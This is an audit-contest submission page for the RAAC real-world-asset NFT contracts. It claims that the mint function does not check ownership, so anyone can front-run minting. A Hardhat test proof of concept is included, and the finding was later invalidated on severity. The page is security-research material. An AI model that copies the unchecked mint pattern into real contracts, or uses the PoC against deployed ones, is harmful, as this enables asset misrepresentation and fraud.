Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

NFT Minting Can be Front Run Due to Lack of Ownership Verification

Summary

The mint function currently does not verify whether the caller is the legitimate owner of the underlying real estate asset.
This means that an attacker can front-run the minting of an NFT as soon as the price is set. The result allows an unauthorized user to minting themselves NFTs that represent real world assets they do not own.
The real world owner of the NFT does not have possession of it, instead the attacker does.

Vulnerability Details

The crux of the issue lies in the minting function’s failure to confirm that the caller is indeed the rightful owner of the real-world asset corresponding to _tokenId. The logic only checks two things:

  1. Price Existence – Whether a non-zero price exists for the asset.

  2. Sufficient Payment – Whether the caller is providing enough funds to match (or exceed) that price.

No step in the function confirms or even references who the legitimate owner of the underlying asset is. As a result, anyone with enough funds can mint the NFT, even if they have no real-world claim to the asset.

function mint(uint256 _tokenId, uint256 _amount) public override {
uint256 price = raac_hp.tokenToHousePrice(_tokenId); //@audit-issue No check to ensure minter is the real owner.
if(price == 0) { revert RAACNFT__HousePrice(); }
if(price > _amount) { revert RAACNFT__InsufficientFundsMint(); }
// transfer erc20 from user to contract - requires pre-approval from user
token.safeTransferFrom(msg.sender, address(this), _amount);
// mint tokenId to user
_safeMint(msg.sender, _tokenId);
// If user approved more than necessary, refund the difference
if (_amount > price) {
uint256 refundAmount = _amount - price;
token.safeTransfer(msg.sender, refundAmount);
}
emit NFTMinted(msg.sender, _tokenId, price);
}

PoC

Paste the describe block into LendingPool.test.js and run with:

npx hardhat test test/unit/core/pools/LendingPool/LendingPool.test.js --show-stack-traces
describe.only("NFT Minting Can be Front Run Due to Lack of Ownership Verification", function () {
it("should allow an unauthorized user to mint an NFT for an asset they do not own", async function () {
// Use a tokenId that hasn't been minted in the beforeEach
const tokenId = 999;
const price = ethers.parseEther("50");
// Set the house price for tokenId 999. Assume user1 is the legitimate owner
await raacHousePrices.setHousePrice(tokenId, price);
// Ensure user2 (the attacker) has enough crvUSD and approves RAACNFT to spend it
await token.mint(user2.address, price);
await token.connect(user2).approve(raacNFT.target, price);
// user2 calls mint even though they are not the legitimate owner of the underlying asset
await expect(raacNFT.connect(user2).mint(tokenId, price))
.to.emit(raacNFT, "NFTMinted")
.withArgs(user2.address, tokenId, price);
// Confirm that the NFT is minted to user2, demonstrating the vulnerability
expect(await raacNFT.ownerOf(tokenId)).to.equal(user2.address);
// user1, the real owner, tries to call mint but cannot.
await token.mint(user1.address, price);
await token.connect(user1).approve(raacNFT.target, price);
await expect(
raacNFT.connect(user1).mint(tokenId, price)
).to.be.revertedWithCustomError(raacNFT, "ERC721InvalidSender");
});
});

Impact

Unauthorized Asset Representation: If an attacker or arbitrary user meets the price requirement, they can mint the NFT and thus appear on-chain as the “owner” of that real-world asset—despite having no legitimate rights to it.

  • Legitimate Owner Locked Out: Once the NFT is minted by someone else, the true asset owner cannot mint or hold the NFT that corresponds to their own property. This breaks the intended link between on-chain token ownership and real-world property rights.

  • Misrepresentation and Fraud: Discrepancies between real-world and on-chain records would allow the attacker to sell or leverage the NFT without ever having legal ownership in the physical world. Specifically by borrowing against it on RAAC.

  • Inconsistent Data: The entire premise of tokenizing real-world assets relies on a trustworthy alignment between off-chain and on-chain ownership. Omitting ownership checks undermines the foundation of this system.

Tools Used

Manual review, Hardhat

Recommendations

Incorporate an ownership verification mechanism—either via a mapping or an external registry—to ensure that only the legitimate owner of the asset can initiate the minting process. This check should be performed at the beginning of mint() to prevent unauthorized minting attempts.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

nadir_khan_sec Submitter
7 months ago
inallhonesty Lead Judge
7 months ago
nadir_khan_sec Submitter
7 months ago
inallhonesty Lead Judge
6 months ago
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!